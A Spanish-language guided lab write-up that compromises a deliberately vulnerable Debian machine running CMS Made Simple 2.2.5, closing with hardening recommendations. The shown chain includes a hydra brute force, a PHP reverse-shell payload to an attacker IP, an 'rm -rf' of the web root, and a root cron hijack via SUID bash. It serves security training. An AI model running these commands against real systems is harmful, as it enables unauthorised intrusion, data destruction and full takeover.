Laboratorio Guiado - 05-faust

Objetivo: Simular un proceso completo de evaluación de seguridad sobre un entorno Debian expuesto en red, utilizando técnicas de enumeración, explotación web y escalamiento de privilegios. El objetivo final es obtener acceso como usuario root a través de vulnerabilidades en un CMS desactualizado (**CMS Made Simple 2.2.5**), y una **tarea automatizada** mal configurada (Enlace a la máquina).

---

1. Información del Entorno - OTG-INFO-001

Identificación de activos en la red local

Utilizamos arp-scan para identificar dispositivos activos en la red. Esta herramienta genera paquetes ARP para descubrir hosts incluso si no responden a pings convencionales.

```
› arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'

192.168.1.11
```

Se detecta una máquina activa en la red con IP **192.168.1.11**, identificada como objetivo inicial.

---

2. Detección de Servicios en Ejecución - OTG-INFO-002

Escaneo completo de puertos TCP

Ejecutamos un escaneo de todos los puertos TCP utilizando nmap con SYN scan para detectar servicios abiertos rápidamente:

```
› sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.11

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6660/tcp open  unknown
MAC Address: 08:00:27:FD:11:D2 (Oracle VirtualBox virtual NIC)
```

Se identifican tres puertos abiertos. Los puertos 22 (SSH) y 80 (HTTP) son comunes, pero el **puerto 6660** con servicio desconocido podría indicar una implementación personalizada o en desarrollo.

---

3. Detección de Versiones - OTG-INFO-003

Fingerprinting de servicios

Ejecutamos un escaneo específico en los puertos identificados, para obtener versiones detalladas de los servicios activos:

```
❯ nmap -sCV -p 22,80,6660 -oN 02-targeted.txt 192.168.1.11

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 54:0a:75:c5:26:56:f5:b0:5f:6d:e1:e0:77:15:c7:0d (RSA)
|   256 0b:d7:89:52:2d:13:16:cb:74:96:f5:5f:dd:3e:52:8e (ECDSA)
|_  256 5a:90:0c:f5:2b:7f:ba:1c:83:02:4d:e7:a2:a2:1d:5b (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights
reserved.
|_http-title: Home - cool_cms
6660/tcp open  unknown
| fingerprint-strings:
|   NULL, Socks5:
|     MESSAGE FOR WWW-DATA:
|     [31m www-data I offer you a dilemma: if you agree to destroy all
your stupid work, then you have a reward in my house...
|_    Paul

❯ nc 192.168.1.11 6660

MESSAGE FOR WWW-DATA:
www-data I offer you a dilemma: if you agree to destroy all your stupid
work, then you have a reward in my house...
Paul
```

Detectamos el uso del CMS **Made Simple v2.2.5**, que ha presentado vulnerabilidades históricas. El puerto **6660,** muestra un mensaje dirigido al usuario www-data, lo que sugiere una posible vía de interacción o futura explotación.

---

4. Descubrimiento de Contenido Web - OTG-INFO-007

Enumeración de recursos accesibles

Utilizamos gobuster para enumerar directorios y archivos accesibles públicamente:

```
❯ gobuster dir -u 'http://192.168.1.11' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.
3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r

/index.php            (Status: 200) [Size: 19347]
/modules              (Status: 200) [Size: 3381]
/uploads              (Status: 200) [Size: 0]
/doc                  (Status: 200) [Size: 24]
/assets               (Status: 200) [Size: 2129]
/admin                (Status: 200) [Size: 4479]
/lib                  (Status: 200) [Size: 24]
/config.php           (Status: 200) [Size: 0]
/tmp                  (Status: 200) [Size: 1131]
```

Se descubren rutas sensibles como /admin, /uploads, /tmp, /config.php, lo que indica una estructura típica de CMS mal protegida.

---

5. Fuerza Bruta de Autenticación - OTG-AUTHN-004

Ataque por diccionario al login administrativo

Realizamos fuerza bruta sobre el panel /admin/login.php con hydra:

```
❯ hydra -l admin -P ~/Documentos/wordlists/rockyou.txt 192.168.1.11
http-post-form
"/admin/login.php:username=^USER^&password=^PASS^&loginsubmit=Submit:Us
er name or password incorrect" -t 64
...
[80][http-post-form] host: 192.168.1.11   login: admin   password: bullshit
...
```

Se logra acceso como administrador. La contraseña es débil, lo que indica una mala política de seguridad.

---

6. Ejecución Remota de Código (RCE) - OTG-INPVAL-001

Inyección de una shell reversa vía UDT (User Defined Tags)

Desde el panel admin, se accede a *Extensions* > *User Defined Tags* y se crea un tag malicioso que ejecuta una shell reversa:

```
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'");
?>
```

Escucha en nuestra máquina:

```
❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.11:47180.
bash: cannot set terminal process group (480): Inappropriate ioctl for
device
bash: no job control in this shell
www-data@debian:/var/www/html/admin$
```

Se obtiene acceso remoto con el mismo privilegio que el proceso del servidor web (**www-data**), lo cual permite una mayor exploración.

---

7. Exposición de Información Sensible - OTG-INFO-006

Lectura de mensaje oculto y obtención de credenciales

El mensaje en el puerto 6660 sugería destruir el contenido del sitio web, por lo que eliminamos el contenido del directorio /var/www/html:

```
www-data@debian:/var/www$ rm -rf html/*

www-data@debian:/home/paul$ cat password.txt
Password is: YouCanBecomePaul
```

Se revela la contraseña del usuario local **paul**, lo cual permite continuar la escalada lateral.

---

8. Acceso a Archivos de Otros Usuarios - OTG-AUTHZ-002

Acceso SSH al usuario paul

```
❯ ssh paul@192.168.1.11
paul@192.168.1.11's password: YouCanBecomePaul
...
paul@debian:~$
```

Verificación de privilegios sudo

```
paul@debian:~$ sudo -l
[sudo] Mot de passe de paul :
Entrées par défaut pour paul sur debian :
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin

L'utilisateur paul peut utiliser les commandes suivantes sur debian :
    (nico) /usr/bin/base32
```

Se detecta que el usuario **paul** puede ejecutar base32 como el usuario **nico,** sin necesidad de contraseña.

---

9. Escalada de Privilegios (Decodificación Encadenada) - OTG-PRIV-001

Decodificación múltiple de archivo oculto

Accedemos a un archivo secreto de nico y decodificamos su contenido:

```
paul@debian:/home/nico$ sudo -u nico base32 /home/nico/.secret.txt |
base32 -d | base64 -d

Pw => just_one_more_beer
```

Escalada a nico

```
paul@debian:/home/nico$ su nico
Mot de passe : just_one_more_beer

nico@debian:~$
```

---

10. Esteganografía - OTG-CRYPST-001

Extracción de mensaje oculto en imagen

En la raiz, encontramos una carpeta llamada nico, que contiene una imagen JPG, que transferimos a nuestra máquina para analizarla:

```
nico@debian:/nico$ ls
homer.jpg

nico@debian:/nico$ python3 -m http.server

❯ wget http://192.168.1.11:8000/homer.jpg


Analizamos con stegseek:
❯ stegseek -wl ~/Documentos/wordlists/rockyou.txt homer.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""
[i] Original filename: "note.txt".
[i] Extracting to "homer.jpg.out".

Encontramos el siguiente mensaje:
❯ cat homer.jpg.out
my /tmp/goodgame file was so good... but I lost it
```

El mensaje sugiere que el archivo /tmp/goodgame es ejecutado, abriendo la posibilidad de ataque por cronjob o tarea automatizada.

---

11. Escalada de Privilegios por Tareas Automatizadas - OTG-PRIV-004

Detección de tarea automatizada con permisos root

Con pspy64 descubrimos que /tmp/goodgame es ejecutado por root:

```
nico@debian:/tmp$ ./pspy64 | grep goodgame
2025/07/29 20:03:01 CMD: UID=0    PID=15746  | /bin/sh -c /tmp/goodgame
```

Inyección de payload persistente

Creamos un archivo malicioso que eleva permisos SUID de /bin/bash:

```
nico@debian:/tmp$ cat goodgame
#!/bin/bash
```

```
chmod u+s /bin/bash
nico@debian:/tmp$ chmod +x goodgame
```

Ejecución de shell con privilegios root

```
nico@debian:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1168776 avril 18  2019 /bin/bash

nico@debian:/tmp$ bash -p
bash-5.0# whoami
root
```

Se obtiene control total del sistema como **root**.

---

12. Recomendaciones de Seguridad

Ejecución Remota de Código mediante CMS – OTG-INPVAL-001

Hallazgo: El CMS Made Simple permite inyectar código PHP arbitrario mediante etiquetas definidas por el usuario.

Recomendaciones:

- Actualizar CMS Made Simple a la última versión disponible.
- Deshabilitar funciones como shell_exec y system en la configuración de PHP.
- Aplicar listas blancas de comandos permitidos dentro del panel de administración.
- Restringir el acceso al panel /admin por IP y/o mediante autenticación multifactor.

Servicios no documentados y mensajes incrustados – OTG-INFO-002

Hallazgo: El puerto 6660 ofrece un mensaje dirigido al usuario www-data, lo cual podría indicar una pista para CTF o una fuga de información sensible.

Recomendaciones:

- Deshabilitar servicios innecesarios o desconocidos.
- Monitorear los puertos abiertos y revisar regularmente el uso de servicios no estándar.
- Implementar firewalls para filtrar puertos no esenciales.

Gestión de Usuarios y Escalada por sudo – OTG-PRIV-001

Hallazgo: paul puede ejecutar base32 como nico, permitiendo la lectura de archivos privados y cambio de usuario.

Recomendaciones:

- Aplicar el principio de mínimo privilegio en configuraciones sudo.
- Revisar periódicamente los binarios permitidos por sudo.
- Implementar auditd para registrar el uso de sudo.

Tarea automatizada con privilegios root – OTG-PRIV-004

Hallazgo: Una tarea ejecuta /tmp/goodgame como root, lo cual fue aprovechado para establecer SUID en /bin/bash.

Recomendaciones:

- Evitar tareas cron que ejecuten scripts fuera de rutas seguras.
- No usar /tmp como ubicación de scripts críticos.
- Verificar permisos de archivos ejecutados automáticamente.
- Aplicar AppArmor o SELinux para restringir acciones peligrosas.

Seguridad Web y Autenticación – OTG-AUTHN-004

Hallazgo: El sistema es vulnerable a ataques de fuerza bruta en el login /admin.

Recomendaciones:

- Implementar mecanismos de bloqueo tras múltiples intentos fallidos.
- Usar autenticación de dos factores para paneles administrativos.
- Habilitar CAPTCHA en formularios de acceso.

Revisión General del Sistema

Recomendaciones adicionales:

- Restringir accesos SSH a usuarios específicos y desde IPs conocidas.
- Monitorear logs de autenticación y ejecución de comandos privilegiados.
- Implementar sistema IDS/IPS para detectar accesos no autorizados.
- Establecer backups automáticos y protección contra ransomware.
- Revisar periódicamente la configuración del servidor web y de servicios expuestos.